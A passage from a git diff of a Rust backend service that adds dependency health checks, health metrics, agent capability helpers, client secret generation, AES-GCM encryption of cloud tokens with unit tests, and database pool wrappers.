.fetch_one(self.pg_pool.as_ref()) + .await + { + Ok(_) => { + let elapsed = start.elapsed().as_millis() as u64; + let mut health = ComponentHealth::healthy(elapsed); + + if elapsed > SLOW_RESPONSE_THRESHOLD_MS { + health = ComponentHealth::degraded( + "Database responding slowly".to_string(), + Some(elapsed), + ); + } + + let pool_size = self.pg_pool.size(); + let idle_connections = self.pg_pool.num_idle(); + let mut details = HashMap::new(); + details.insert("pool_size".to_string(), serde_json::json!(pool_size)); + details.insert( + "idle_connections".to_string(), + serde_json::json!(idle_connections), + ); + details.insert( + "active_connections".to_string(), + serde_json::json!(pool_size as i64 - idle_connections as i64), + ); + + health.with_details(details) + } + Err(e) => { + tracing::error!("Database health check failed: {:?}", e); + ComponentHealth::unhealthy(format!("Database error: {}", e)) + } + } + } + + #[tracing::instrument(name = "Check RabbitMQ health", skip(self))] + async fn check_rabbitmq(&self) -> ComponentHealth { + let start = Instant::now(); + let connection_string = self.settings.amqp.connection_string(); + + let mut config = deadpool_lapin::Config::default(); + config.url = Some(connection_string.clone()); + + match config.create_pool(Some(deadpool_lapin::Runtime::Tokio1)) { + Ok(pool) => match pool.get().await { + Ok(conn) => match conn.create_channel().await { + Ok(_channel) => { + let elapsed = start.elapsed().as_millis() as u64; + let mut health = ComponentHealth::healthy(elapsed); + + if elapsed > SLOW_RESPONSE_THRESHOLD_MS { + health = ComponentHealth::degraded( + "RabbitMQ responding slowly".to_string(), + Some(elapsed), + ); + } + + let mut details = HashMap::new(); + details.insert( + "host".to_string(), + serde_json::json!(self.settings.amqp.host), + ); + details.insert( + "port".to_string(), + serde_json::json!(self.settings.amqp.port), + ); + + health.with_details(details) + } + Err(e) => { + tracing::warn!("Failed to create RabbitMQ channel: {:?}", e); + ComponentHealth::degraded( + format!("RabbitMQ optional service unavailable: {}", e), + None, + ) + } + }, + Err(e) => { + tracing::warn!("Failed to get RabbitMQ connection: {:?}", e); + ComponentHealth::degraded( + format!("RabbitMQ optional service unavailable: {}", e), + None, + ) + } + }, + Err(e) => { + tracing::warn!("Failed to create RabbitMQ pool: {:?}", e); + ComponentHealth::degraded( + format!("RabbitMQ optional service unavailable: {}", e), + None, + ) + } + } + } + + #[tracing::instrument(name = "Check Docker Hub health", skip(self))] + async fn check_dockerhub(&self) -> ComponentHealth { + let start = Instant::now(); + let url = "https://hub.docker.com/v2/"; + + match reqwest::Client::builder() + .timeout(Duration::from_secs(5)) + .build() + { + Ok(client) => match client.get(url).send().await { + Ok(response) => { + let elapsed = start.elapsed().as_millis() as u64; + + if response.status().is_success() { + let mut health = ComponentHealth::healthy(elapsed); + + if elapsed > SLOW_RESPONSE_THRESHOLD_MS { + health = ComponentHealth::degraded( + "Docker Hub responding slowly".to_string(), + Some(elapsed), + ); + } + + let mut details = HashMap::new(); + details.insert("api_version".to_string(), serde_json::json!("v2")); + details.insert( + "status_code".to_string(), + serde_json::json!(response.status().as_u16()), + ); + + health.with_details(details) + } else { + ComponentHealth::degraded( + format!( + "Docker Hub returned status: {} (optional service)", + response.status() + ), + Some(start.elapsed().as_millis() as u64), + ) + } + } + Err(e) => { + tracing::warn!("Docker Hub health check failed: {:?}", e); + ComponentHealth::degraded( + format!("Docker Hub optional service unavailable: {}", e), + None, + ) + } + }, + Err(e) => { + tracing::warn!("Failed to create HTTP client for Docker Hub: {:?}", e); + ComponentHealth::degraded(format!("HTTP client error: {}", e), None) + } + } + } + + #[tracing::instrument(name = "Check Redis health", skip(self))] + async fn check_redis(&self) -> ComponentHealth { + let redis_url = + std::env::var("REDIS_URL").unwrap_or_else(|_| "redis://127.0.0.1/".to_string()); + let start = Instant::now(); + + match redis::Client::open(redis_url.as_str()) { + Ok(client) => { + let conn_result = + tokio::task::spawn_blocking(move || client.get_connection()).await; + + match conn_result { + Ok(Ok(mut conn)) => { + let ping_result: Result = + tokio::task::spawn_blocking(move || { + redis::cmd("PING").query(&mut conn) + }) + .await + .unwrap_or_else(|_| { + Err(redis::RedisError::from(( + redis::ErrorKind::IoError, + "Task join error", + ))) + }); + + match ping_result { + Ok(_) => { + let elapsed = start.elapsed().as_millis() as u64; + let mut health = ComponentHealth::healthy(elapsed); + + if elapsed > SLOW_RESPONSE_THRESHOLD_MS { + health = ComponentHealth::degraded( + "Redis responding slowly".to_string(), + Some(elapsed), + ); + } + + let mut details = HashMap::new(); + details.insert("url".to_string(), serde_json::json!(redis_url)); + + health.with_details(details) + } + Err(e) => { + tracing::warn!("Redis PING failed: {:?}", e); + ComponentHealth::degraded( + format!("Redis optional service unavailable: {}", e), + None, + ) + } + } + } + Ok(Err(e)) => { + tracing::warn!("Redis connection failed: {:?}", e); + ComponentHealth::degraded( + format!("Redis optional service unavailable: {}", e), + None, + ) + } + Err(e) => { + tracing::warn!("Redis task failed: {:?}", e); + ComponentHealth::degraded( + format!("Redis optional service unavailable: {}", e), + None, + ) + } + } + } + Err(e) => { + tracing::warn!("Redis client creation failed: {:?}", e); + ComponentHealth::degraded( + format!("Redis optional service unavailable: {}", e), + None, + ) + } + } + } + + #[tracing::instrument(name = "Check Vault health", skip(self))] + async fn check_vault(&self) -> ComponentHealth { + let start = Instant::now(); + let vault_address = &self.settings.vault.address; + let health_url = format!("{}/v1/sys/health", vault_address); + + match reqwest::Client::builder() + .timeout(Duration::from_secs(5)) + .build() + { + Ok(client) => match client.get(&health_url).send().await { + Ok(response) => { + let elapsed = start.elapsed().as_millis() as u64; + let status_code = response.status().as_u16(); + + match status_code { + 200 | 429 | 472 | 473 => { + let mut health = ComponentHealth::healthy(elapsed); + + if elapsed > SLOW_RESPONSE_THRESHOLD_MS { + health = ComponentHealth::degraded( + "Vault responding slowly".to_string(), + Some(elapsed), + ); + } + + let mut details = HashMap::new(); + details.insert("address".to_string(), serde_json::json!(vault_address)); + details + .insert("status_code".to_string(), serde_json::json!(status_code)); + + if let Ok(body) = response.json::().await { + if let Some(initialized) = body.get("initialized") { + details.insert("initialized".to_string(), initialized.clone()); + } + if let Some(sealed) = body.get("sealed") { + details.insert("sealed".to_string(), sealed.clone()); + } + } + + health.with_details(details) + } + _ => { + tracing::warn!("Vault returned unexpected status: {}", status_code); + ComponentHealth::degraded( + format!("Vault optional service status: {}", status_code), + Some(elapsed), + ) + } + } + } + Err(e) => { + tracing::warn!("Vault health check failed: {:?}", e); + ComponentHealth::degraded( + format!("Vault optional service unavailable: {}", e), + None, + ) + } + }, + Err(e) => { + tracing::error!("Failed to create HTTP client for Vault: {:?}", e); + ComponentHealth::degraded(format!("HTTP client error: {}", e), None) + } + } + } + + #[tracing::instrument(name = "Check User Service health", skip(self))] + async fn check_user_service(&self) -> ComponentHealth { + let user_service_url = &self.settings.user_service_url; + let health_url = format!("{}/plans/info/", user_service_url); + + let start = Instant::now(); + match reqwest::Client::builder() + .timeout(Duration::from_secs(3)) + .http1_only() + .build() + { + Ok(client) => match client.get(&health_url).send().await { + Ok(response) => { + let elapsed = start.elapsed().as_millis() as u64; + let status_code = response.status().as_u16(); + + match status_code { + 200 => { + let mut health = ComponentHealth::healthy(elapsed); + + if elapsed > SLOW_RESPONSE_THRESHOLD_MS { + health = ComponentHealth::degraded( + format!("User Service slow ({} ms)", elapsed), + Some(elapsed), + ); + } + + let mut details = HashMap::new(); + details.insert( + "url".to_string(), + serde_json::Value::String(user_service_url.clone()), + ); + details.insert( + "response_time_ms".to_string(), + serde_json::Value::from(elapsed), + ); + + health.with_details(details) + } + _ => ComponentHealth::degraded( + format!( + "User Service returned status: {} (optional service)", + status_code + ), + Some(elapsed), + ), + } + } + Err(e) => { + tracing::warn!("User Service health check failed: {:?}", e); + ComponentHealth::degraded( + format!("User Service optional service unavailable: {}", e), + None, + ) + } + }, + Err(e) => { + tracing::warn!("Failed to create HTTP client for User Service: {:?}", e); + ComponentHealth::degraded(format!("HTTP client error: {}", e), None) + } + } + } + + #[tracing::instrument(name = "Check Install Service health", skip(self))] + async fn check_install_service(&self) -> ComponentHealth { + // Install service runs on http://install:4400/health + let install_url = "http://install:4400/health"; + + let start = Instant::now(); + match reqwest::Client::builder() + .timeout(Duration::from_secs(3)) + .http1_only() + .build() + { + Ok(client) => match client.get(install_url).send().await { + Ok(response) => { + let elapsed = start.elapsed().as_millis() as u64; + let status_code = response.status().as_u16(); + + match status_code { + 200 => { + let mut health = ComponentHealth::healthy(elapsed); + + if elapsed > SLOW_RESPONSE_THRESHOLD_MS { + health = ComponentHealth::degraded( + format!("Install Service slow ({} ms)", elapsed), + Some(elapsed), + ); + } + + let mut details = HashMap::new(); + details.insert( + "url".to_string(), + serde_json::Value::String(install_url.to_string()), + ); + details.insert( + "response_time_ms".to_string(), + serde_json::Value::from(elapsed), + ); + + health.with_details(details) + } + _ => ComponentHealth::degraded( + format!( + "Install Service returned status: {} (optional service)", + status_code + ), + Some(elapsed), + ), + } + } + Err(e) => { + tracing::warn!("Install Service health check failed: {:?}", e); + ComponentHealth::degraded( + format!("Install Service optional service unavailable: {}", e), + None, + ) + } + }, + Err(e) => { + tracing::warn!("Failed to create HTTP client for Install Service: {:?}", e); + ComponentHealth::degraded(format!("HTTP client error: {}", e), None) + } + } + } +} diff --git a/stacker/stacker/src/health/metrics.rs b/stacker/stacker/src/health/metrics.rs new file mode 100644 index 0000000..5c7d7ea --- /dev/null +++ b/stacker/stacker/src/health/metrics.rs @@ -0,0 +1,168 @@ +use super::models::{ComponentHealth, ComponentStatus}; +use chrono::{DateTime, Utc}; +use std::collections::HashMap; +use std::sync::Arc; +use tokio::sync::RwLock; + +#[derive(Debug, Clone)] +pub struct MetricSnapshot { + #[allow(dead_code)] + pub timestamp: DateTime, + pub component: String, + pub status: ComponentStatus, + pub response_time_ms: Option, +} + +pub struct HealthMetrics { + snapshots: Arc>>, + max_snapshots: usize, +} + +impl HealthMetrics { + pub fn new(max_snapshots: usize) -> Self { + Self { + snapshots: Arc::new(RwLock::new(Vec::new())), + max_snapshots, + } + } + + pub async fn record(&self, component: String, health: &ComponentHealth) { + let snapshot = MetricSnapshot { + timestamp: health.last_checked, + component, + status: health.status.clone(), + response_time_ms: health.response_time_ms, + }; + + let mut snapshots = self.snapshots.write().await; + snapshots.push(snapshot); + + if snapshots.len() > self.max_snapshots { + snapshots.remove(0); + } + } + + pub async fn get_component_stats( + &self, + component: &str, + ) -> Option> { + let snapshots = self.snapshots.read().await; + let component_snapshots: Vec<_> = snapshots + .iter() + .filter(|s| s.component == component) + .collect(); + + if component_snapshots.is_empty() { + return None; + } + + let total = component_snapshots.len(); + let healthy = component_snapshots + .iter() + .filter(|s| s.status == ComponentStatus::Healthy) + .count(); + let degraded = component_snapshots + .iter() + .filter(|s| s.status == ComponentStatus::Degraded) + .count(); + let unhealthy = component_snapshots + .iter() + .filter(|s| s.status == ComponentStatus::Unhealthy) + .count(); + + let response_times: Vec = component_snapshots + .iter() + .filter_map(|s| s.response_time_ms) + .collect(); + + let avg_response_time = if !response_times.is_empty() { + response_times.iter().sum::() / response_times.len() as u64 + } else { + 0 + }; + + let min_response_time = response_times.iter().min().copied(); + let max_response_time = response_times.iter().max().copied(); + + let uptime_percentage = (healthy as f64 / total as f64) * 100.0; + + let mut stats = HashMap::new(); + stats.insert("total_checks".to_string(), serde_json::json!(total)); + stats.insert("healthy_count".to_string(), serde_json::json!(healthy)); + stats.insert("degraded_count".to_string(), serde_json::json!(degraded)); + stats.insert("unhealthy_count".to_string(), serde_json::json!(unhealthy)); + stats.insert( + "uptime_percentage".to_string(), + serde_json::json!(format!("{:.2}", uptime_percentage)), + ); + stats.insert( + "avg_response_time_ms".to_string(), + serde_json::json!(avg_response_time), + ); + + if let Some(min) = min_response_time { + stats.insert("min_response_time_ms".to_string(), serde_json::json!(min)); + } + if let Some(max) = max_response_time { + stats.insert("max_response_time_ms".to_string(), serde_json::json!(max)); + } + + Some(stats) + } + + pub async fn get_all_stats(&self) -> HashMap> { + let snapshots = self.snapshots.read().await; + let mut components: std::collections::HashSet = std::collections::HashSet::new(); + + for snapshot in snapshots.iter() { + components.insert(snapshot.component.clone()); + } + + let mut all_stats = HashMap::new(); + for component in components { + if let Some(stats) = self.get_component_stats(&component).await { + all_stats.insert(component, stats); + } + } + + all_stats + } + + pub async fn clear(&self) { + let mut snapshots = self.snapshots.write().await; + snapshots.clear(); + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[tokio::test] + async fn test_metrics_recording() { + let metrics = HealthMetrics::new(100); + let health = ComponentHealth::healthy(150); + + metrics.record("database".to_string(), &health).await; + + let stats = metrics.get_component_stats("database").await; + assert!(stats.is_some()); + + let stats = stats.unwrap(); + assert_eq!(stats.get("total_checks").unwrap(), &serde_json::json!(1)); + assert_eq!(stats.get("healthy_count").unwrap(), &serde_json::json!(1)); + } + + #[tokio::test] + async fn test_metrics_limit() { + let metrics = HealthMetrics::new(5); + + for i in 0..10 { + let health = ComponentHealth::healthy(i * 10); + metrics.record("test".to_string(), &health).await; + } + + let snapshots = metrics.snapshots.read().await; + assert_eq!(snapshots.len(), 5); + } +} diff --git a/stacker/stacker/src/health/mod.rs b/stacker/stacker/src/health/mod.rs new file mode 100644 index 0000000..fa9726f --- /dev/null +++ b/stacker/stacker/src/health/mod.rs @@ -0,0 +1,7 @@ +mod checks; +mod metrics; +mod models; + +pub use checks::HealthChecker; +pub use metrics::HealthMetrics; +pub use models::{ComponentHealth, ComponentStatus, HealthCheckResponse}; diff --git a/stacker/stacker/src/health/models.rs b/stacker/stacker/src/health/models.rs new file mode 100644 index 0000000..c10db51 --- /dev/null +++ b/stacker/stacker/src/health/models.rs @@ -0,0 +1,101 @@ +use chrono::{DateTime, Utc}; +use serde::{Deserialize, Serialize}; +use std::collections::HashMap; + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +#[serde(rename_all = "lowercase")] +pub enum ComponentStatus { + Healthy, + Degraded, + Unhealthy, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ComponentHealth { + pub status: ComponentStatus, + pub message: Option, + pub response_time_ms: Option, + pub last_checked: DateTime, + #[serde(skip_serializing_if = "Option::is_none")] + pub details: Option>, +} + +impl ComponentHealth { + pub fn healthy(response_time_ms: u64) -> Self { + Self { + status: ComponentStatus::Healthy, + message: None, + response_time_ms: Some(response_time_ms), + last_checked: Utc::now(), + details: None, + } + } + + pub fn unhealthy(error: String) -> Self { + Self { + status: ComponentStatus::Unhealthy, + message: Some(error), + response_time_ms: None, + last_checked: Utc::now(), + details: None, + } + } + + pub fn degraded(message: String, response_time_ms: Option) -> Self { + Self { + status: ComponentStatus::Degraded, + message: Some(message), + response_time_ms, + last_checked: Utc::now(), + details: None, + } + } + + pub fn with_details(mut self, details: HashMap) -> Self { + self.details = Some(details); + self + } +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct HealthCheckResponse { + pub status: ComponentStatus, + pub timestamp: DateTime, + pub version: String, + pub uptime_seconds: u64, + pub components: HashMap, +} + +impl HealthCheckResponse { + pub fn new(version: String, uptime_seconds: u64) -> Self { + Self { + status: ComponentStatus::Healthy, + timestamp: Utc::now(), + version, + uptime_seconds, + components: HashMap::new(), + } + } + + pub fn add_component(&mut self, name: String, health: ComponentHealth) { + if health.status == ComponentStatus::Unhealthy { + self.status = ComponentStatus::Unhealthy; + } else if health.status == ComponentStatus::Degraded + && self.status != ComponentStatus::Unhealthy + { + self.status = ComponentStatus::Degraded; + } + self.components.insert(name, health); + } + + pub fn is_healthy(&self) -> bool { + self.status == ComponentStatus::Healthy + } + + /// Returns true when the service can handle requests, even if some optional + /// dependencies are unavailable (Degraded). Only Unhealthy (core DB down) + /// returns false here. + pub fn is_operational(&self) -> bool { + self.status != ComponentStatus::Unhealthy + } +} diff --git a/stacker/stacker/src/helpers/agent_capabilities.rs b/stacker/stacker/src/helpers/agent_capabilities.rs new file mode 100644 index 0000000..c29440a --- /dev/null +++ b/stacker/stacker/src/helpers/agent_capabilities.rs @@ -0,0 +1,65 @@ +use serde_json::Value; + +pub const NPM_CREDENTIAL_SOURCE_KEY: &str = "npm_credential_source"; +pub const NPM_CREDENTIAL_SOURCE_VAULT: &str = "npm_credential_source=vault"; + +pub fn extract_capabilities(value: Option) -> Vec { + value + .and_then(|val| serde_json::from_value::>(val).ok()) + .unwrap_or_default() +} + +pub fn has_capability(capabilities: &[String], required: &str) -> bool { + capabilities.iter().any(|capability| capability == required) +} + +pub fn capability_value<'a>(capabilities: &'a [String], key: &str) -> Option<&'a str> { + capabilities.iter().find_map(|capability| { + capability + .split_once('=') + .or_else(|| capability.split_once(':')) + .and_then(|(candidate_key, candidate_value)| { + (candidate_key == key).then_some(candidate_value) + }) + }) +} + +pub fn has_capability_value(capabilities: &[String], key: &str, expected: &str) -> bool { + capability_value(capabilities, key) == Some(expected) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn extracts_capabilities_from_json_array() { + let capabilities = extract_capabilities(Some(serde_json::json!(["docker", "logs"]))); + assert_eq!(capabilities, vec!["docker".to_string(), "logs".to_string()]); + } + + #[test] + fn returns_empty_when_capabilities_missing() { + assert!(extract_capabilities(None).is_empty()); + } + + #[test] + fn finds_key_value_capabilities_with_equals_or_colon() { + let capabilities = vec![ + "docker".to_string(), + "npm_credential_source=vault".to_string(), + "proxy_owner:true".to_string(), + ]; + + assert_eq!( + capability_value(&capabilities, NPM_CREDENTIAL_SOURCE_KEY), + Some("vault") + ); + assert_eq!(capability_value(&capabilities, "proxy_owner"), Some("true")); + assert!(has_capability_value( + &capabilities, + NPM_CREDENTIAL_SOURCE_KEY, + "vault" + )); + } +} diff --git a/stacker/stacker/src/helpers/agent_client.rs b/stacker/stacker/src/helpers/agent_client.rs new file mode 100644 index 0000000..4e00bbe --- /dev/null +++ b/stacker/stacker/src/helpers/agent_client.rs @@ -0,0 +1,44 @@ +use reqwest::{Client, Response}; + +/// AgentClient for agent-initiated connections only. +/// +/// In the pull-only architecture, agents poll Stacker (not the other way around). +/// This client is kept for potential Compose Agent sidecar use cases where +/// Stacker may need to communicate with a local control plane. +pub struct AgentClient { + http: Client, + base_url: String, + agent_id: String, + agent_token: String, +} + +impl AgentClient { + pub fn new, S2: Into, S3: Into>( + base_url: S1, + agent_id: S2, + agent_token: S3, + ) -> Self { + Self { + http: Client::new(), + base_url: base_url.into().trim_end_matches('/').to_string(), + agent_id: agent_id.into(), + agent_token: agent_token.into(), + } + } + + /// GET request with agent auth headers (for Compose Agent sidecar path only) + pub async fn get(&self, path: &str) -> Result { + let url = format!( + "{}{}{}", + self.base_url, + if path.starts_with('/') { "" } else { "/" }, + path + ); + self.http + .get(url) + .header("X-Agent-Id", &self.agent_id) + .header("Authorization", format!("Bearer {}", self.agent_token)) + .send() + .await + } +} diff --git a/stacker/stacker/src/helpers/client/generate_secret.rs b/stacker/stacker/src/helpers/client/generate_secret.rs new file mode 100644 index 0000000..8d2b323 --- /dev/null +++ b/stacker/stacker/src/helpers/client/generate_secret.rs @@ -0,0 +1,33 @@ +use crate::helpers::client; +use rand::Rng; +use sqlx::PgPool; + +fn make_secret(len: usize) -> String { + const CHARSET: &[u8] = + b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789)(*&^%$#@!~"; + let mut rng = rand::thread_rng(); + + (0..len) + .map(|_| { + let idx = rng.gen_range(0..CHARSET.len()); + CHARSET[idx] as char + }) + .collect() +} + +pub async fn generate_secret(pool: &PgPool, len: usize) -> Result { + loop { + let secret = make_secret(len); + match client::is_secret_unique(pool, &secret).await { + Ok(is_unique) if is_unique => { + return Ok(secret); + } + Ok(_) => { + continue; + } + Err(e) => { + return Err(format!("Failed to execute query: {:?}", e)); + } + } + } +} diff --git a/stacker/stacker/src/helpers/client/is_secret_unique.rs b/stacker/stacker/src/helpers/client/is_secret_unique.rs new file mode 100644 index 0000000..163bcc7 --- /dev/null +++ b/stacker/stacker/src/helpers/client/is_secret_unique.rs @@ -0,0 +1,28 @@ +use sqlx::PgPool; +use tracing::Instrument; + +#[tracing::instrument(name = "Check if secret is unique.")] +pub async fn is_secret_unique(pool_ref: &PgPool, secret: &String) -> Result { + let query_span = tracing::info_span!("Looking for the secret in the client's table."); + match sqlx::query!( + r#" + SELECT + count(*) as found + FROM client c + WHERE c.secret = $1 + LIMIT 1 + "#, + secret, + ) + .fetch_one(pool_ref) + .instrument(query_span) + .await + { + Ok(result) => { + return Ok(result.found < Some(1)); + } + Err(e) => { + return Err(format!("{e:?}")); + } + }; +} diff --git a/stacker/stacker/src/helpers/client/mod.rs b/stacker/stacker/src/helpers/client/mod.rs new file mode 100644 index 0000000..1b847c4 --- /dev/null +++ b/stacker/stacker/src/helpers/client/mod.rs @@ -0,0 +1,5 @@ +mod generate_secret; +mod is_secret_unique; + +pub use generate_secret::*; +pub use is_secret_unique::*; diff --git a/stacker/stacker/src/helpers/cloud/mod.rs b/stacker/stacker/src/helpers/cloud/mod.rs new file mode 100644 index 0000000..1a7c1e1 --- /dev/null +++ b/stacker/stacker/src/helpers/cloud/mod.rs @@ -0,0 +1,2 @@ +pub(crate) mod security; +pub use security::Secret; diff --git a/stacker/stacker/src/helpers/cloud/security.rs b/stacker/stacker/src/helpers/cloud/security.rs new file mode 100644 index 0000000..6a9846d --- /dev/null +++ b/stacker/stacker/src/helpers/cloud/security.rs @@ -0,0 +1,244 @@ +use aes_gcm::{ + aead::{Aead, AeadCore, KeyInit, OsRng}, + Aes256Gcm, Key, Nonce, +}; +use base64::{engine::general_purpose, Engine as _}; + +/// AES-GCM nonce size in bytes (96 bits) +const NONCE_SIZE: usize = 12; + +#[derive(Debug, Default, PartialEq, Clone)] +pub struct Secret { + pub(crate) user_id: String, + pub(crate) provider: String, + pub(crate) field: String, // cloud_token/cloud_key/cloud_secret +} + +impl Secret { + pub fn new() -> Self { + Secret { + user_id: "".to_string(), + provider: "".to_string(), + field: "".to_string(), + } + } + + pub fn b64_encode(value: &Vec) -> String { + general_purpose::STANDARD.encode(value) + } + + pub fn b64_decode(value: &String) -> Result, String> { + general_purpose::STANDARD + .decode(value) + .map_err(|e| format!("b64_decode error {}", e)) + } + + /// Encrypts a token using AES-256-GCM. + /// Returns nonce (12 bytes) prepended to ciphertext. + #[tracing::instrument(name = "encrypt.")] + pub fn encrypt(&self, token: String) -> Result, String> { + let sec_key = std::env::var("SECURITY_KEY") + .map_err(|_| "SECURITY_KEY environment variable is not set".to_string())?; + + if sec_key.len() != 32 { + return Err(format!( + "SECURITY_KEY must be exactly 32 bytes, got {}", + sec_key.len() + )); + } + + let key: &Key = Key::::from_slice(sec_key.as_bytes()); + let cipher = Aes256Gcm::new(key); + let nonce = Aes256Gcm::generate_nonce(&mut OsRng); // 96-bits; unique per message + // eprintln!("Nonce bytes {nonce:?}"); + // let nonce_b64: String = general_purpose::STANDARD.encode(nonce); + // eprintln!("Nonce b64 {nonce_b64:?}"); + // Avoid logging the plaintext token to prevent leaking sensitive data. + // eprintln!("token {token:?}"); + // Avoid logging the plaintext token to prevent leaking sensitive data. + + let ciphertext = cipher + .encrypt(&nonce, token.as_ref()) + .map_err(|e| format!("Encryption failed: {:?}", e))?; + + // Prepend nonce to ciphertext: [nonce (12 bytes) || ciphertext] + let mut result = Vec::with_capacity(NONCE_SIZE + ciphertext.len()); + result.extend_from_slice(nonce.as_slice()); + result.extend_from_slice(&ciphertext); + + tracing::debug!( + "Encrypted {} for {}/{}: {} bytes", + self.field, + self.user_id, + self.provider, + result.len() + ); + + Ok(result) + } + + /// Decrypts data that has nonce prepended (first 12 bytes). + #[tracing::instrument(name = "decrypt.")] + pub fn decrypt(&mut self, encrypted_data: Vec) -> Result { + if encrypted_data.len() < NONCE_SIZE { + return Err(format!( + "Encrypted data too short: {} bytes, need at least {}", + encrypted_data.len(), + NONCE_SIZE + )); + } + + let sec_key = std::env::var("SECURITY_KEY") + .map_err(|_| "SECURITY_KEY environment variable is not set".to_string())?; + + if sec_key.len() != 32 { + return Err(format!( + "SECURITY_KEY must be exactly 32 bytes, got {}", + sec_key.len() + )); + } + + let key: &Key = Key::::from_slice(sec_key.as_bytes()); + + // Extract nonce (first 12 bytes) and ciphertext (rest) + let (nonce_bytes, ciphertext) = encrypted_data.split_at(NONCE_SIZE); + let nonce = Nonce::from_slice(nonce_bytes); + + tracing::debug!( + "Decrypting {} for {}/{}: {} bytes ciphertext", + self.field, + self.user_id, + self.provider, + ciphertext.len() + ); + + let cipher = Aes256Gcm::new(key); + let plaintext = cipher + .decrypt(nonce, ciphertext) + .map_err(|e| format!("Decryption failed: {:?}", e))?; + + String::from_utf8(plaintext).map_err(|e| format!("UTF-8 conversion failed: {:?}", e)) + } +} + +#[cfg(test)] +mod tests { + use super::*; + use std::sync::Mutex; + + static ENV_MUTEX: Mutex<()> = Mutex::new(()); + + const TEST_KEY: &str = "01234567890123456789012345678901"; + + #[test] + fn test_secret_new() { + let secret = Secret::new(); + assert_eq!(secret.user_id, ""); + assert_eq!(secret.provider, ""); + assert_eq!(secret.field, ""); + } + + #[test] + fn test_b64_encode() { + let data = vec![72, 101, 108, 108, 111]; // "Hello" + let encoded = Secret::b64_encode(&data); + assert_eq!(encoded, "SGVsbG8="); + } + + #[test] + fn test_b64_decode_valid() { + let result = Secret::b64_decode(&"SGVsbG8=".to_string()); + assert!(result.is_ok()); + assert_eq!(result.unwrap(), vec![72, 101, 108, 108, 111]); + } + + #[test] + fn test_b64_decode_invalid() { + let result = Secret::b64_decode(&"not!valid!base64!!!".to_string()); + assert!(result.is_err()); + } + + #[test] + fn test_b64_roundtrip() { + let original = vec![1, 2, 3, 4, 5, 255, 0, 128]; + let encoded = Secret::b64_encode(&original); + let decoded = Secret::b64_decode(&encoded).unwrap(); + assert_eq!(original, decoded); + } + + #[test] + fn test_b64_encode_empty() { + let data: Vec = vec![]; + let encoded = Secret::b64_encode(&data); + assert_eq!(encoded, ""); + } + + #[test] + fn test_b64_decode_empty() { + let result = Secret::b64_decode(&"".to_string()); + assert!(result.is_ok()); + assert!(result.unwrap().is_empty()); + } + + #[test] + fn test_encrypt_requires_security_key() { + let _lock = ENV_MUTEX.lock().unwrap(); + std::env::remove_var("SECURITY_KEY"); + let secret = Secret { + user_id: "u1".to_string(), + provider: "aws".to_string(), + field: "cloud_token".to_string(), + }; + let result = secret.encrypt("my-token".to_string()); + assert!(result.is_err()); + assert!(result.unwrap_err().contains("SECURITY_KEY")); + } + + #[test] + fn test_encrypt_invalid_key_length() { + let _lock = ENV_MUTEX.lock().unwrap(); + std::env::set_var("SECURITY_KEY", "short-key"); + let secret = Secret { + user_id: "u1".to_string(), + provider: "aws".to_string(), + field: "cloud_token".to_string(), + }; + let result = secret.encrypt("my-token".to_string()); + assert!(result.is_err()); + assert!(result.unwrap_err().contains("32 bytes")); + std::env::remove_var("SECURITY_KEY"); + } + + #[test] + fn test_encrypt_decrypt_roundtrip() { + let _lock = ENV_MUTEX.lock().unwrap(); + std::env::set_var("SECURITY_KEY", TEST_KEY); + + let mut secret = Secret { + user_id: "u1".to_string(), + provider: "aws".to_string(), + field: "cloud_token".to_string(), + }; + + let original = "my-super-secret-token-123"; + let encrypted = secret.encrypt(original.to_string()).unwrap(); + assert!(!encrypted.is_empty()); + assert!(encrypted.len() > 12); // nonce (12) + ciphertext + + let decrypted = secret.decrypt(encrypted).unwrap(); + assert_eq!(decrypted, original); + + std::env::remove_var("SECURITY_KEY"); + } + + #[test] + fn test_decrypt_too_short_data() { + let _lock = ENV_MUTEX.lock().unwrap(); + std::env::set_var("SECURITY_KEY", TEST_KEY); + let mut secret = Secret::new(); + let result = secret.decrypt(vec![1, 2, 3]); // less than 12 bytes + assert!(result.is_err()); + assert!(result.unwrap_err().contains("too short")); + std::env::remove_var("SECURITY_KEY"); + } +} diff --git a/stacker/stacker/src/helpers/compressor.rs b/stacker/stacker/src/helpers/compressor.rs new file mode 100644 index 0000000..81c9a93 --- /dev/null +++ b/stacker/stacker/src/helpers/compressor.rs @@ -0,0 +1,43 @@ +use brotli::CompressorWriter; +use std::io::Write; + +pub fn compress(input: &str) -> Vec { + let mut compressed = Vec::new(); + let mut compressor = CompressorWriter::new(&mut compressed, 4096, 11, 22); + compressor.write_all(input.as_bytes()).unwrap(); + compressor.flush().unwrap(); + drop(compressor); + compressed +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_compress_non_empty() { + let result = compress("Hello, World!"); + assert!(!result.is_empty()); + } + + #[test] + fn test_compress_empty_string() { + let result = compress(""); + // Even empty input produces some compressed output (brotli header) + assert!(!result.is_empty()); + } + + #[test] + fn test_compress_reduces_size_for_repetitive_data() { + let input = "a".repeat(10000); + let result = compress(&input); + assert!(result.len() < input.len()); + } + + #[test] + fn test_compress_different_inputs_different_outputs() { + let result1 = compress("Hello"); + let result2 = compress("World"); + assert_ne!(result1, result2); + } +} diff --git a/stacker/stacker/src/helpers/db_pools.rs b/stacker/stacker/src/helpers/db_pools.rs new file mode 100644 index 0000000..3731ef5 --- /dev/null +++ b/stacker/stacker/src/helpers/db_pools.rs @@ -0,0 +1,41 @@ +//! Separate database connection pools for different workloads. +//! +//! This module provides wrapper types for PgPool to allow separate +//! connection pools for agent long-polling operations vs regular API requests. +//! This prevents agent polling from exhausting the connection pool and +//! blocking regular user requests. + +use sqlx::{Pool, Postgres}; +use std::ops::Deref; + +/// Dedicated connection pool for agent operations (long-polling, commands). +/// This pool has higher capacity to handle many concurrent agent connections. +#[derive(Clone, Debug)] +pub struct AgentPgPool(Pool); + +impl AgentPgPool { + pub fn new(pool: Pool) -> Self { + Self(pool) + } + + pub fn inner(&self) -> &Pool { + &self.0 + } +} + +impl Deref for AgentPgPool { + type Target = Pool; + + fn deref(&self) -> &Self::Target { + &self.0 + } +} + +impl AsRef> for AgentPgPool { + fn 